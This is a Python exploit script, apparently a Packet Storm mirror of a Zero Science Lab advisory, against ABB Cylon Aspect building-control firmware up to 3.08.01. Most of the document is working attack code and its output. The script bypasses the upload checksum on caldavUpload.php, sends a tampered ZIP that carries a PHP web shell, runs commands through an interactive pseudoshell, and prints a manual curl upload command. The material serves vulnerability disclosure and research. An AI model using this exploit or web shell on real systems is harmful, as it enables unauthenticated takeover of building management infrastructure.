Share
## https://sploitus.com/exploit?id=PACKETSTORM:189617
#!/usr/bin/env python3
#
#
# ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
#
#
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb
# Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
# Firmware: <=3.08.01
#
# Summary: ASPECT is an award-winning scalable building energy
# management and control solution designed to allow users seamless
# access to their building data through standard building protocols
# including smart devices.
#
# Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
# weakness in them caldavInstall.php, caldavInstallAgendav.php, and
# caldavUpload.php files. All you gotta do is drop that skipChecksum
# beat in the POST vibe, and bam, the system skips all that MD5
# checksum nonsense, no EXPERTMODE needed to crank the funk. This
# lets any slick cat without a login slide in some jacked-up CalDAV
# ZIP files, no questions asked. We're talkin' tampered tunes hittin'
# the deck, openin' the door to messin' with the system or droppin'
# some nasty uploads, all unauthorized-like. That's the funky flaw,
# baby - straight-up tamper town!
#
# --------------------------------------------------------------------------
#
# โโโ(kaliใฟkali)-[~/brainfog]
# โโ$ ./funkalicious.py 192.168.73.31
# [*] Rollin' on 05.03.2025 14:57:38
# [*] Funkmaster Webshell Injector PoC - let's get down!
# [*] Groovin' to: http://192.168.73.31
# [+] Droppin' the funk on baikal-0.6.1.zip, dig it...
# [+] Whippin' up some funky ZIP magic...
# [+] Funked-up ZIP is live: baikal-0.6.1.zip
# [+] Funky MD5 hash: 26b68b6e04966e8ea910a9df0a83ec72
# [+] Groove size: 3.13 MB, dig it!
# [+] Groovin' through the ZIP contents (key funky files):
# 458 2019-02-19 08:05 baikal/vendor/sabre/vobject/tests/bootstrap.php
# 1696 2019-10-19 03:17 baikal/vendor/sabre/dav/tests/bootstrap.php
# 207 2019-10-09 16:27 baikal/vendor/sabre/http/tests/bootstrap.php
# 293 2012-06-17 14:48 baikal/vendor/twig/twig/test/bootstrap.php
# 144 2025-03-05 19:18 baikal/html/backdoor.php
# [+] Droppin' the funk bomb at http://192.168.73.31/caldavUpload.php...
# [+] Far out! ZIP got extracted, baby!
# [+] Hittin' the funkdoor at http://192.168.73.31/baikal/backdoor.php, let's groove...
# [+] Righteous! Funkdoor's live and kickin':
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
#
# [+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!
# funk> id ; pwd
# uid=48(apache) gid=48(apache) groups=48(apache),0(root)
# /home/baikal/html
# funk> exit
# [+] Wipin' out the funkdoor, peace out...
# [+] Funkdoor's gone, man - clean as a whistle!
# [*] Funked ZIP stashed: baikal-0.6.1.zip
# [*] Manual funk drop: curl -F 'baikalFile=@baikal-0.6.1.zip' -F 'skipChecksum=1' -F 'EXPERTMODE=1' 'http://192.168.73.31/caldavUpload.php'
# [+] Sweepin' up the temp funk files (keepin' the ZIP)...
#
# --------------------------------------------------------------------------
#
# Tested on: GNU/Linux 3.15.10 (armv7l)
# GNU/Linux 3.10.0 (x86_64)
# GNU/Linux 2.6.32 (x86_64)
# Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
# Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
# PHP/7.3.11
# PHP/5.6.30
# PHP/5.4.16
# PHP/4.4.8
# PHP/5.3.3
# AspectFT Automation Application Server
# lighttpd/1.4.32
# lighttpd/1.4.18
# Apache/2.2.15 (CentOS)
# OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
# OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2025-5926
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5926.php
# Ref ID: ZSL-2024-5860
# Ref Title: ABB Cylon Aspect 3.08.01 (badassMode) File Upload MD5 Checksum Bypass
# Ref URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2024-5860.php
#
#
# 21.04.2024
#
#
import os
import sys
import random
import shutil
import zipfile
import requests
import datetime
import subprocess
from colorama import init, Fore, Style
init()
# Funky global vibes
FUNKMASTER_URL = None # To be set by the righteous IP
UPLOAD_JAM = "/caldavUpload.php"
BAIKAL_FUNKDOOR_PATH = "/baikal/backdoor.php"
OG_ZIP_VIBE = "baikal-0.6.1.zip"
FUNKED_ZIP_VIBE = "baikal-0.6.1.zip"
TEMP_FUNK_PAD = "zipslip_tmp"
# The slickest backdoor groove in town
FUNKDOOR_JAM = """<?php
if (isset($_POST['cmd'])) {
system($_POST['cmd']);
if ($_POST['cmd'] === 'rm backdoor.php') {
unlink(__FILE__);
}
}
?>"""
def check_funky_gear():
# Checkin' if the cool cats got the unzip groove
if subprocess.call(["which", "unzip"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) != 0:
print("[-] Whoa, daddy-o! 'unzip' ain't in the mix. Lay it down with 'sudo apt install unzip'!")
exit(1)
def snag_the_og_jam():
# Snaggin' that OG ZIP from the cosmic interwebs
if not os.path.exists(OG_ZIP_VIBE):
print(f"[+] Droppin' the funk on {OG_ZIP_VIBE}, dig it...")
url = "https://github.com/sabre-io/Baikal/releases/download/0.6.1/baikal-0.6.1.zip"
response = requests.get(url, stream=True)
with open(OG_ZIP_VIBE, "wb") as f:
f.write(response.content)
else:
print(f"[+] {OG_ZIP_VIBE} is already chillin' in the funk pad, my man!")
def whip_up_funky_zip():
# Cookin' up a righteous exploit ZIP, baby
print("[+] Whippin' up some funky ZIP magic...")
if os.path.exists(TEMP_FUNK_PAD):
shutil.rmtree(TEMP_FUNK_PAD)
os.makedirs(TEMP_FUNK_PAD, exist_ok=True)
# Unpackin' the OG vibe on the down-low
subprocess.run(["unzip", "-qq", OG_ZIP_VIBE, "-d", TEMP_FUNK_PAD], check=True)
# Settin' up the baikal funk shack
baikal_pad = os.path.join(TEMP_FUNK_PAD, "baikal")
if os.path.exists(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1")):
os.rename(os.path.join(TEMP_FUNK_PAD, "baikal-0.6.1"), baikal_pad)
# Droppin' a sneaky temp funkdoor
temp_funkdoor = os.path.join(TEMP_FUNK_PAD, "temp_funkdoor.php")
with open(temp_funkdoor, "w") as f:
f.write(FUNKDOOR_JAM)
# Zippin' it up with the funkdoor beat
with zipfile.ZipFile(FUNKED_ZIP_VIBE, "w", zipfile.ZIP_DEFLATED) as zf:
for root, _, files in os.walk(baikal_pad):
for file in files:
full_path = os.path.join(root, file)
arcname = os.path.relpath(full_path, TEMP_FUNK_PAD)
zf.write(full_path, arcname)
zf.write(temp_funkdoor, "baikal/html/backdoor.php")
# Gettin' the funky hash and size, yo
md5 = subprocess.check_output(["md5sum", FUNKED_ZIP_VIBE]).decode().split()[0]
print(f"[+] Funked-up ZIP is live: {FUNKED_ZIP_VIBE}")
print(f"[+] Funky MD5 hash: {md5}")
print(f"[+] Groove size: {os.path.getsize(FUNKED_ZIP_VIBE) / 1024 / 1024:.2f} MB, dig it!")
def check_the_funk_vibe():
# Peekin' at the ZIP's funky insides
print("[+] Groovin' through the ZIP contents (key funky files):")
result = subprocess.run(["unzip", "-l", FUNKED_ZIP_VIBE], capture_output=True, text=True)
for line in result.stdout.splitlines():
if "backdoor.php" in line or "bootstrap.php" in line:
print(line)
def lay_down_the_funk(target_url):
# /home/MIX_CMIX/htmlroot/caldavInstall.php:
# ------------------
# 01: <?php
# 02:
# 03: $badassMode = false;
# 04: if (isset($_GET["EXPERTMODE"])) {
# 05: $badassMode = true;
# 06: }
# 07: ?>
# ------------------
# Layin' down the funk to the server, man
url = f"{target_url}{UPLOAD_JAM}"
print(f"[+] Droppin' the funk bomb at {url}...")
files = {"baikalFile": open(FUNKED_ZIP_VIBE, "rb")}
data = {"skipChecksum": "1", "EXPERTMODE": "1"}
response = requests.post(
url,
files=files,
data=data,
timeout=10
)
if response.status_code == 200 and "Baikal Bundle Uploaded and Extracted - OK" in response.text:
print("[+] Far out! ZIP got extracted, baby!")
else:
print(f"[-] Funk hit a snag, HTTP Code: {response.status_code}")
print(response.text)
def jam_with_funkdoor(target_url):
# Jamming with the funkdoor, testing the vibe
url = f"{target_url}{BAIKAL_FUNKDOOR_PATH}"
print(f"[+] Hittin' the funkdoor at {url}, let's groove...")
response = requests.post(url, data={'cmd': 'id'}, timeout=5)
if response.status_code == 200 and "uid=" in response.text:
print("[+] Righteous! Funkdoor's live and kickin':")
print(response.text)
print("[+] Droppin' into the funky pseudoshell - type 'exit' or 'quit' to zap the funkdoor!")
while True:
cmd = input("funk> ").strip()
if cmd.lower() in ["exit", "quit"]:
print("[+] Wipin' out the funkdoor, peace out...")
cleanup_response = requests.post(url, data={'cmd': 'rm backdoor.php'}, timeout=5)
if cleanup_response.status_code == 200:
print("[+] Funkdoor's gone, man - clean as a whistle!")
else:
print("[-] Cleanup got funky, check it out manually, dude.")
break
shell_response = requests.post(url, data={'cmd': cmd}, timeout=5)
if shell_response.status_code == 200:
print(shell_response.text.strip())
else:
print(f"[-] Funk jam crashed: HTTP {shell_response.status_code}")
print(shell_response.text)
else:
print("[-] Funkdoor ain't answerin' the call, man.")
print(f"Response: {response.status_code}")
def clean_the_funk_pad():
# Clearin' out the temp funk pad, keepin' it real
print("[+] Sweepin' up the temp funk files (keepin' the ZIP)...")
if os.path.exists(TEMP_FUNK_PAD):
shutil.rmtree(TEMP_FUNK_PAD)
def main():
global start
start = datetime.datetime.now()
start = start.strftime("%d.%m.%Y %H:%M:%S")
title = "\033[91mABB Cylonยฎ ASPECTยฎ Supervisory Building Control v3.08.01\033[0m"
subtl = "\033[91m\to Unauthenticated Remote Code Execution o\033[0m"
advis = "\033[91mZSL-2025-5926\033[0m"
prj = f"""-
P R O J E C T
.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
โโโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโ โโโโโโโโโโโโ
{title}
{subtl}
{advis}
"""
if len(sys.argv) < 2:
colors = [Fore.RED,
Fore.GREEN,
Fore.YELLOW,
Fore.MAGENTA,
Fore.CYAN,
Fore.BLUE]
lines = prj.strip().split("\n")
for line in lines:
color = random.choice(colors)
print(f"{color}{line}{Style.RESET_ALL}")
print("\n[*] Funky Jam: ./funkalicious.py <ip_address>")
sys.exit(1)
target_ip = sys.argv[1]
global FUNKMASTER_URL
FUNKMASTER_URL = f"http://{target_ip}"
print("[*] Rollin' on", start)
print("[*] Funkmaster Webshell Injector PoC - let's get down!")
print(f"[*] Groovin' to: {FUNKMASTER_URL}")
check_funky_gear()
snag_the_og_jam()
whip_up_funky_zip()
check_the_funk_vibe()
lay_down_the_funk(FUNKMASTER_URL)
jam_with_funkdoor(FUNKMASTER_URL)
print(f"[*] Funked ZIP stashed: {FUNKED_ZIP_VIBE}")
print(f"[*] Manual funk drop: curl -F 'baikalFile=@{FUNKED_ZIP_VIBE}' -F 'skipChecksum=1' -F 'EXPERTMODE=1' '{FUNKMASTER_URL}{UPLOAD_JAM}'")
clean_the_funk_pad()
if __name__ == "__main__":
main()